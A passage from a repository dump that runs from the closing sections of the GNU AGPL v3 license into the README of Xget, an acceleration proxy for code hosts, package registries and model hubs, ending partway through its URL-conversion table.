reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Remote Network Interaction; Use with the GNU General Public License.\n\n  Notwithstanding any other provision of this License, if you modify the\nProgram, your modified version must prominently offer all users\ninteracting with it remotely through a computer network (if your version\nsupports such interaction) an opportunity to receive the Corresponding\nSource of your version by providing access to the Corresponding Source\nfrom a network server at no charge, through some standard or customary\nmeans of facilitating copying of software.  This Corresponding Source\nshall include the Corresponding Source for any work covered by version 3\nof the GNU General Public License that is incorporated pursuant to the\nfollowing paragraph.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the work with which it is combined will remain governed by version\n3 of the GNU General Public License.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU Affero General Public License from time to time.  Such new versions\nwill be similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU Affero General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU Affero General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU Affero General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU Affero General Public License as published\n    by the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU Affero General Public License for more details.\n\n    You should have received a copy of the GNU Affero General Public License\n    along with this program.  If not, see <https://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If your software can interact with users remotely through a computer\nnetwork, you should also make sure that it provides a way for users to\nget its source.  For example, if your program is a web application, its\ninterface could display a \"Source\" link that leads users to an archive\nof the code.  There are many ways you could offer source, and different\nsolutions will be better for different programs; see section 13 for the\nspecific requirements.\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU AGPL, see\n<https://www.gnu.org/licenses/>.\n"
  },
  {
    "path": "README.md",
    "content": "<div align=\"center\">\n\n# Xget 🚀\n\n<a href=\"https://trendshift.io/repositories/14768\" target=\"_blank\"><img src=\"https://trendshift.io/api/badge/repositories/14768\" alt=\"xixu-me%2FXget | Trendshift\" width=\"250\" height=\"55\"/></a>\n\n[![Ask Zread](https://img.shields.io/badge/Ask_Zread-_.svg?style=flat&color=00b0aa&labelColor=000000&logo=data%3Aimage%2Fsvg%2Bxml%3Bbase64%2CPHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KPHBhdGggZD0iTTQuOTYxNTYgMS42MDAxSDIuMjQxNTZDMS44ODgxIDEuNjAwMSAxLjYwMTU2IDEuODg2NjQgMS42MDE1NiAyLjI0MDFWNC45NjAxQzEuNjAxNTYgNS4zMTM1NiAxLjg4ODEgNS42MDAxIDIuMjQxNTYgNS42MDAxSDQuOTYxNTZDNS4zMTUwMiA1LjYwMDEgNS42MDE1NiA1LjMxMzU2IDUuNjAxNTYgNC45NjAxVjIuMjQwMUM1LjYwMTU2IDEuODg2NjQgNS4zMTUwMiAxLjYwMDEgNC45NjE1NiAxLjYwMDFaIiBmaWxsPSIjZmZmIi8%2BCjxwYXRoIGQ9Ik00Ljk2MTU2IDEwLjM5OTlIMi4yNDE1NkMxLjg4ODEgMTAuMzk5OSAxLjYwMTU2IDEwLjY4NjQgMS42MDE1NiAxMS4wMzk5VjEzLjc1OTlDMS42MDE1NiAxNC4xMTM0IDEuODg4MSAxNC4zOTk5IDIuMjQxNTYgMTQuMzk5OUg0Ljk2MTU2QzUuMzE1MDIgMTQuMzk5OSA1LjYwMTU2IDE0LjExMzQgNS42MDE1NiAxMy43NTk5VjExLjAzOTlDNS42MDE1NiAxMC42ODY0IDUuMzE1MDIgMTAuMzk5OSA0Ljk2MTU2IDEwLjM5OTlaIiBmaWxsPSIjZmZmIi8%2BCjxwYXRoIGQ9Ik0xMy43NTg0IDEuNjAwMUgxMS4wMzg0QzEwLjY4NSAxLjYwMDEgMTAuMzk4NCAxLjg4NjY0IDEwLjM5ODQgMi4yNDAxVjQuOTYwMUMxMC4zOTg0IDUuMzEzNTYgMTAuNjg1IDUuNjAwMSAxMS4wMzg0IDUuNjAwMUgxMy43NTg0QzE0LjExMTkgNS42MDAxIDE0LjM5ODQgNS4zMTM1NiAxNC4zOTg0IDQuOTYwMVYyLjI0MDFDMTQuMzk4NCAxLjg4NjY0IDE0LjExMTkgMS42MDAxIDEzLjc1ODQgMS42MDAxWiIgZmlsbD0iI2ZmZiIvPgo8cGF0aCBkPSJNNCAxMkwxMiA0TDQgMTJaIiBmaWxsPSIjZmZmIi8%2BCjxwYXRoIGQ9Ik00IDEyTDEyIDQiIHN0cm9rZT0iI2ZmZiIgc3Ryb2tlLXdpZHRoPSIxLjUiIHN0cm9rZS1saW5lY2FwPSJyb3VuZCIvPgo8L3N2Zz4K&logoColor=ffffff)](https://zread.ai/xixu-me/Xget)\n[![Ask DeepWiki](https://deepwiki.com/badge.svg)](https://deepwiki.com/xixu-me/Xget)\n[![codecov](https://codecov.io/github/xixu-me/xget/graph/badge.svg?token=KDFMG9YX8G)](https://codecov.io/github/xixu-me/xget)\n[![Chromium](https://img.shields.io/badge/Chromium-4285F4?logo=googlechrome&logoColor=white)](#-ecosystem-integration)\n[![Firefox](https://img.shields.io/badge/Firefox-FF7139?logo=Firefox&logoColor=white)](#-ecosystem-integration)\n\n[![Cloudflare](https://img.shields.io/badge/Cloudflare-F38020?&logo=cloudflare&logoColor=white)](#deploy-to-cloudflare-workers)\n[![EdgeOne](https://img.shields.io/badge/EdgeOne-006EFF?&logo=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABwAAAAcCAYAAAByDd+UAAACNklEQVR4nJ1W7XHbMAx96ul/lQnCDapOUG3gdIIkG6QjdINOUGeDNhNYmUDuBHIWiNQF/PqDYAxDoMUGdzx+AXgAAQGqSKKAOgAbma8BXMn5DGAv4wlAv6qJ5KVxR3LkOR3NWu9HkcnqzF0EkoMDcsysLd8oOooAb0lOF7wqpYnkzRrgZkVJ8mp0jLFzotscYOC6ZyNjjLbOnTZI7weSjQc4ZoQmkjuSneIdMoADyR9iVKuB0qglWYOT0n9Uys/qPAD4ZHgfAXwzfO/6LLyxcTxbJEdufFi1aEk32l6Z+1Lhep1lQa1aVwI2O3wBsTIFxOoUADzVspgzQp6S1pztATRyvpG5lTNLTUVykssJwF91OQP4bATuAGzVngBexJD0vJW51/u5VpZc4VSUgViMLX1xlIUCoERNLoYE8Ns579S6chTngGYZh1oWjRGoEGOjKSAGP/HovqblDoiJtAfwLPv5xHnqCrbNeK3K8qX9juQDMx3CVpoesXLop7DeATF+2rsKsbo8oizD3zzsjLWk30RHw7N7R5V68/AgMUpeWg9bLLOxL/AniOw1Yp58t/FZi5+mzuFrJJY/Sb6qFzmmV9PMgzBsHUW/eN5gJwdk54Rm4YTXgHPx00p24qEGydFElb3e09nUbpXVuZ+oS/88Z62rJLMelHAJSDqf6LxWSXvS35/+Vr0SlqrPHsBXxOw/o5IGHDLKE4AucS8A7hG7zAIMACryv371WxkfxYhZFD8jFvt+TdE/deK28xBAUlEAAAAASUVORK5CYII=)](#deploy-to-edgeone-pages)\n[![Vercel](https://img.shields.io/badge/Vercel-000000?&logo=vercel&logoColor=white)](#deploy-to-vercel)\n[![Netlify](https://img.shields.io/badge/Netlify-00C7B7?&logo=netlify&logoColor=white)](#deploy-to-netlify)\n[![Deno](https://img.shields.io/badge/Deno-000000?&logo=deno&logoColor=white)](#deploy-to-deno-deploy)\n[![Docker](https://img.shields.io/badge/Docker-2496ED?&logo=docker&logoColor=white)](#self-hosted-deployment)\n[![Podman](https://img.shields.io/badge/Podman-892CA0?&logo=podman&logoColor=white)](#self-hosted-deployment)\n\n**English** | [汉语（简体）](README.zh-Hans.md) |\n[漢語（繁體）](README.zh-Hant.md)\n\n</div>\n\n[![GitHub](https://img.shields.io/badge/GitHub-181717?&logo=github&logoColor=white)](#github)\n[![GitLab](https://img.shields.io/badge/GitLab-FC6D26?&logo=gitlab&logoColor=white)](#gitlab)\n[![Gitea](https://img.shields.io/badge/Gitea-609926?&logo=gitea&logoColor=white)](#gitea)\n[![Codeberg](https://img.shields.io/badge/Codeberg-2185D0?&logo=codeberg&logoColor=white)](#codeberg)\n[![SourceForge](https://img.shields.io/badge/SourceForge-FF6600?&logo=sourceforge&logoColor=white)](#sourceforge)\n[![AOSP](https://img.shields.io/badge/AOSP-3DDC84?&logo=android&logoColor=white)](#aosp-android-open-source-project)\n[![Hugging Face](https://img.shields.io/badge/Hugging%20Face-FFD21E?&logo=huggingface&logoColor=black)](#hugging-face-mirror)\n[![Civitai](https://img.shields.io/badge/Civitai-1971C2)](#civitai-ai-model-platform)\n[![npm](https://img.shields.io/badge/npm-CB3837?logo=npm&logoColor=white)](#npm-package-acceleration)\n[![PyPI](https://img.shields.io/badge/PyPI-3775A9?logo=pypi&logoColor=white)](#python-package-acceleration)\n[![conda](https://img.shields.io/badge/conda-44A833?logo=anaconda&logoColor=white)](#conda-package-acceleration)\n[![Maven](https://img.shields.io/badge/Maven-C71A36?logo=apachemaven&logoColor=white)](#maven-package-acceleration)\n[![Apache](https://img.shields.io/badge/Apache-D22128?logo=apache&logoColor=white)](#apache-software-download-acceleration)\n[![Gradle](https://img.shields.io/badge/Gradle-02303A?logo=gradle&logoColor=white)](#gradle-package-acceleration)\n[![Homebrew](https://img.shields.io/badge/Homebrew-FBB040?logo=homebrew&logoColor=black)](#homebrew-package-acceleration)\n[![RubyGems](https://img.shields.io/badge/RubyGems-E9573F?logo=rubygems&logoColor=white)](#ruby-package-acceleration)\n[![CRAN](https://img.shields.io/badge/CRAN-276DC3?logo=r&logoColor=white)](#r-package-acceleration)\n[![CPAN](https://img.shields.io/badge/CPAN-0073A1?logo=perl&logoColor=white)](#perl-package-acceleration)\n[![CTAN](https://img.shields.io/badge/CTAN-008080?logo=latex&logoColor=white)](#texlatex-package-acceleration)\n[![Go](https://img.shields.io/badge/Go-00ADD8?logo=go&logoColor=white)](#go-module-acceleration)\n[![NuGet](https://img.shields.io/badge/NuGet-004880?logo=nuget&logoColor=white)](#nuget-package-acceleration)\n[![Rust](https://img.shields.io/badge/Rust-000000?logo=rust&logoColor=white)](#rust-package-acceleration)\n[![Packagist](https://img.shields.io/badge/Packagist-F28D1A?logo=packagist&logoColor=white)](#php-package-acceleration)\n[![Flathub](https://img.shields.io/badge/Flathub-000000?logo=flathub&logoColor=white)](#flathub-repository-mirror)\n[![Debian](https://img.shields.io/badge/Debian-A81D33?logo=debian&logoColor=white)](#debianubuntu-apt-configuration)\n[![Ubuntu](https://img.shields.io/badge/Ubuntu-E95420?logo=ubuntu&logoColor=white)](#debianubuntu-apt-configuration)\n[![Fedora](https://img.shields.io/badge/Fedora-51A2DA?logo=fedora&logoColor=white)](#fedora-dnf-configuration)\n[![Rocky Linux](https://img.shields.io/badge/Rocky%20Linux-10B981?logo=rockylinux&logoColor=white)](#rocky-linux-dnf-configuration)\n[![openSUSE](https://img.shields.io/badge/openSUSE-73BA25?logo=opensuse&logoColor=white)](#opensuse-zypper-configuration)\n[![Arch Linux](https://img.shields.io/badge/Arch%20Linux-1793D1?logo=archlinux&logoColor=white)](#arch-linux-pacman-configuration)\n[![arXiv](https://img.shields.io/badge/arXiv-B31B1B?logo=arxiv&logoColor=white)](#arxiv-paper-download)\n[![F-Droid](https://img.shields.io/badge/F--Droid-1976D2?logo=f-droid&logoColor=white)](#f-droid-repository-mirror)\n[![Jenkins](https://img.shields.io/badge/Jenkins-D24939?logo=jenkins&logoColor=white)](#jenkins-plugin-download)\n[![Container Registries](https://img.shields.io/badge/Container%20Registries-262261?logo=opencontainersinitiative&logoColor=white)](#container-registries)\n[![AI Inference Providers](https://img.shields.io/badge/AI%20Inference%20Providers-94A3B8?logo=openrouter&logoColor=white)](#ai-inference-providers)\n\nUltra-high-performance, secure, all-in-one acceleration engine for developer\nresources that significantly outperforms traditional solutions, delivering\nunified, efficient acceleration across code repositories, model and dataset\nhubs, package registries, container registries, AI inference providers, and\nmore.\n\nIn-depth technical analysis article published:\n**_[Deep Dive into Xget: A High-Performance, Multi-Protocol, and Secure Acceleration Engine for Developer Resources](https://blog.xi-xu.me/en/2025/10/07/Deep-Dive-into-Xget.html)_**.\n\nXget was invited to join the\n[GitCode platform](https://gitcode.com/xixu-me/xget) and recognized as a G-Star\ngraduation project. It has also received spontaneous recommendations from\nseveral well-known tech creators, including\n[Ruan Yifeng](https://www.ruanyifeng.com/blog/2025/12/weekly-issue-379.html#:~:text=Xget),\n[GitHubDaily](https://x.com/i/status/1956204203937829256),\n[FishC](https://www.bilibili.com/video/BV1EeeBzVEop/), and\n[Xuanli 199](https://www.bilibili.com/video/BV197hqzsE8Y/?t=8). Sincere thanks\nto GitCode and every creator, reader, and user who helped more people discover\nXget.\n\n## 🎯 Quick Start\n\n**Pre-deployed Instance (no reliability guarantee): `xget.xi-xu.me`**\n\n**URL Converter:** [**`xuc.xi-xu.me`**](https://xuc.xi-xu.me) - Convert any\nsupported platform URL to Xget's acceleration format with one click\n\n**Agent Skills:** [**`skills/xget/`**](skills/xget/) - Designed to work as a\nstandalone `/xget` directory in a skills installation\n\n## 🌟 Core Advantages - Why Choose Xget?\n\n### ⚡ Extreme Performance - Breaking Through Traditional Accelerator Bottlenecks\n\n- **⚡ Millisecond Response**: Cloudflare's global 330+ edge nodes, average\n  response time < 50ms\n- **🌐 HTTP/3 Ultra-Fast Protocol**: Latest HTTP/3 protocol enabled, 40%\n  reduction in connection latency, 30% increase in transmission speed\n- **📦 Intelligent Multi-Compression**: Triple compression algorithms (gzip,\n  deflate, brotli), 60% improvement in transmission efficiency\n- **🔗 Zero-Latency Pre-Connection**: Connection warm-up and keep-alive,\n  eliminating handshake overhead for second-level responses\n- **⚡ Parallel Chunked Download**: Full support for HTTP Range requests,\n  multiplied multi-threaded download speeds\n- **🎯 Smart Routing Optimization**: Automatically selects optimal transmission\n  paths, avoiding network congestion nodes\n\n### 🌐 Deep Multi-Platform Integration\n\n- **All-in-One Multi-Platform Support**: Unified support for mainstream\n  platforms in various development scenarios\n- **Intelligent Recognition and Conversion**: Automatically recognizes platform\n  prefixes and converts to correct URL structures for target platforms\n- **Consistent Acceleration Experience**: Enjoy unified and stable ultra-fast\n  download experience regardless of file type or source\n\n### 🔒 Enterprise-Grade Security\n\n- **Multi-Layer Security Headers**:\n  - `Strict-Transport-Security`: Enforces HTTPS transmission, prevents\n    man-in-the-middle attacks\n  - `X-Frame-Options: DENY`: Prevents clickjacking attacks\n  - `X-XSS-Protection`: Built-in XSS protection mechanism\n  - `Content-Security-Policy`: Strict content security policy\n  - `Referrer-Policy`: Controls referrer information leakage\n- **Request Validation Mechanism**:\n  - HTTP method whitelist: Regular requests limited to GET/HEAD, while Git/LFS,\n    container registry, AI inference, and Hugging Face API traffic allow `POST`,\n    `PUT`, `PATCH`, and `DELETE` as needed\n  - Path length limit: Prevents excessively long URL attacks (max 2048\n    characters)\n  - Input sanitization: Prevents path traversal and injection attacks\n- **Timeout Protection**: 30-second request timeout, prevents resource\n  exhaustion and malicious requests\n\n### 🚀 Modern Architecture and Reliability\n\n- **Intelligent Retry Mechanism**:\n  - Maximum 3 retries with linear delay strategy (1000ms × retry count)\n  - Automatic error recovery, improved download success rate\n  - Timeout detection and interruption handling\n- **Efficient Caching Strategy**:\n  - 1800 seconds (30 minutes) default cache duration, significantly reduces\n    origin server pressure\n  - Git operations skip caching to ensure real-time data\n  - Edge caching based on Cloudflare Cache API\n- **Performance Monitoring System**:\n  - Built-in `PerformanceMonitor` class for real-time tracking of request stage\n    durations\n  - Detailed performance data provided via `X-Performance-Metrics` response\n    header\n  - Cache hit rate statistics and optimization recommendations\n\n### 🎯 Full Git Protocol Compatibility\n\n- **Smart Protocol Detection**:\n  - Automatically recognizes Git-specific endpoints (`/info/refs`,\n    `/git-upload-pack`, `/git-receive-pack`)\n  - Detects Git client User-Agent patterns\n  - Supports query parameters like `service=git-upload-pack`\n- **Complete Operation Support**:\n  - `git clone`: Full repository cloning, supports shallow clones and branch\n    specification\n  - `git push`: Code push and branch management\n  - `git pull/fetch`: Incremental updates and remote synchronization\n  - `git submodule`: Recursive submodule cloning\n- **Protocol Optimization**:\n  - Preserves Git-specific request headers and authentication information\n  - Smart User-Agent handling (default `git/2.34.1`)\n  - Supports Git LFS large file transfer\n\n### 📱 Ecosystem Integration\n\n- **Dedicated Browser Extension**:\n  [Xget Now](https://github.com/xixu-me/Xget-Now) provides seamless experience\n  - Automatic URL redirection, no manual URL modification needed\n  - Support for custom Xget instance domains\n  - Multi-platform preference settings and blacklist/whitelist management\n  - Local processing ensures privacy and security\n- **Download Tool Compatibility**: Perfect support for wget, cURL, aria2, IDM,\n  and other mainstream download tools\n- **CI/CD Integration**: Can be used directly in GitHub Actions, GitLab CI, and\n  other environments\n\n## 🏗️ System Architecture\n\n### Request Processing Flow\n\n```mermaid\ngraph TD\n    Request[User Request / User-Agent] --> Identify{Identify Platform}\n    Identify -->|Invalid| Error[Return Error]\n    Identify -->|Valid| Transform[Transform Path]\n\n    Transform --> CheckProtocol{Check Protocol}\n\n    CheckProtocol -->|Git| GitHandler[Git Protocol Adapter]\n    CheckProtocol -->|Docker| DockerHandler[Docker Protocol Adapter]\n    CheckProtocol -->|AI| AIHandler[AI Inference Adapter]\n    CheckProtocol -->|Standard| StdHandler[Standard Adapter]\n\n    GitHandler --> Upstream[Fetch Upstream]\n    DockerHandler --> Upstream\n    AIHandler --> Upstream\n\n    StdHandler --> CacheCheck{Check Cache}\n    CacheCheck -->|Hit| ReturnCache[Return Cached Response]\n    CacheCheck -->|Miss| Upstream\n\n    Upstream -->|Success| ProcessResponse[Process Response]\n    Upstream -->|Failure| Retry{Retry?}\n\n    Retry -->|Yes| Wait[\"Wait (Backoff)\"] --> Upstream\n    Retry -->|No| Error\n\n    ProcessResponse --> Finalize[Add Headers & Return]\n    Finalize --> Response[Response]\n```\n\n### Component Architecture\n\n```mermaid\nclassDiagram\n    class Worker {\n        +fetch(request)\n    }\n    class AppHandler {\n        +handleRequest(request, env, ctx)\n    }\n    class PlatformCatalog {\n        +PLATFORM_CATALOG\n    }\n    class PlatformRouting {\n        +transformPath()\n        +resolveTarget()\n    }\n    class Validation {\n        +validateRequest()\n        +isDockerRequest()\n    }\n    class GitProtocol {\n        +configureGitHeaders()\n        +isGitRequest()\n    }\n    class DockerProtocol {\n        +handleDockerAuth()\n        +fetchToken()\n    }\n    class AIProtocol {\n        +configureAIHeaders()\n    }\n    class UpstreamPipeline {\n        +tryReadCachedResponse()\n        +fetchUpstreamResponse()\n    }\n    class ResponsePipeline {\n        +finalizeResponse()\n    }\n    class Security {\n        +addSecurityHeaders()\n    }\n    class Performance {\n        +monitor()\n    }\n\n    Worker --> AppHandler\n    AppHandler --> PlatformCatalog\n    AppHandler --> PlatformRouting\n    AppHandler --> Validation\n    AppHandler --> GitProtocol\n    AppHandler --> DockerProtocol\n    AppHandler --> AIProtocol\n    AppHandler --> UpstreamPipeline\n    AppHandler --> ResponsePipeline\n    AppHandler --> Security\n    AppHandler --> Performance\n    PlatformRouting --> PlatformCatalog\n```\n\n## 📖 URL Conversion Rules\n\nUsing the pre-deployed instance **`xget.xi-xu.me`** or your own deployed\ninstance, simply replace the domain and add the platform prefix:\n\n### Conversion Format\n\n| Platform               | Platform Prefix | Original URL Format                                                  | Accelerated URL Format                                                            |\n| ---------------------- | --------------- | -------------------------------------------------------------------- | --------------------------------------------------------------------------------- |\n| GitHub                 | `gh`            | `https://github.com/...`                                             | `https://xget.xi-xu.me/gh/...`                                                    |\n| GitHub Gist            | `gist`          | `https://gist.github.com/...`                                        | `https://xget.xi-xu.me/gist/...`                                                  |\n| GitLab                 | `gl`            | `https://gitlab.com/...`                                             | `https://xget.xi-xu.me/gl/...`                                                    |\n| Gitea                  | `gitea`         | `https://gitea.com/...`                                              | `https://xget.xi-xu.me/gitea/...`                                                 |\n| Codeberg               | `codeberg`      | `https://codeberg.org/...`                                           | `https://xget.xi-xu.me/codeberg/...`                                              |\n| SourceForge            | `sf`            | `https://sourceforge.net/...`                                        | `https://xget.xi-xu.me/sf/...`                                                    |\n| AOSP                   | `aosp`          | `https://android.googlesource.com/...`                               | `https://xget.xi-xu.me/aosp/...`                                                  |\n| Hugging Face           | `hf`            | `https://huggingface.co/...`                                         | `https://xget.xi-xu.me/hf/...`                                                    |\n| Civitai                | `civitai`       | `https://civitai.com/...`                                            | `https://xget.xi-xu.me/civitai/...`                                               |\n| npm                    | `npm`           | `https://registry.npmjs.org/...`                                     | `https://xget.xi-xu.me/npm/...`                                                   |\n| PyPI                   | `pypi`          | `https://pypi.org/...`                                               | `https://xget.xi-xu.me/pypi/...`                                                  |\n| conda                  | `conda`         | `https://repo.anaconda.com/...` and `https://conda.anaconda.org/...` | `https://xget.xi-xu.me/conda/...` and `https://xget.xi-xu.me/conda/community/...` |\n| Maven                  | `maven`         | `https://repo1.maven.org/...`                                        | `https://xget.xi-xu.me/maven/...`                                                 |\n| Apache                 | `apache`        | `https://downloads.apache.org/...`                                   | `https://xget.xi-xu.me/apache/...`                                                |\n| Gradle                 | `gradle`        | `https://plugins.gradle.org/...`                                     | `https://xget.xi-xu.me/gradle/...`                                                |\n| Homebrew               | `homebrew`      | `https://github.com/Homebrew/...`                                    | `https://xget.xi-xu.me/homebrew/...`                                              |\n| RubyGems               | `rubygems`      | `https://rubygems.org/...`                                           | `https://xget.xi-xu.me/rubygems/...`                                              |\n| CRAN                   | `cran`          | `https://cran.r-project.org/...`                                     | `https://xget.xi-xu.me/cran/...`                                                  |\n| CPAN                   | `cpan`          | `https://www.cpan.org/...`                                           | `https://xget.xi-xu.me/cpan/...`                                                  |\n| CTAN                   | `ctan`          | `https://tug.ctan.org/...`                                           | 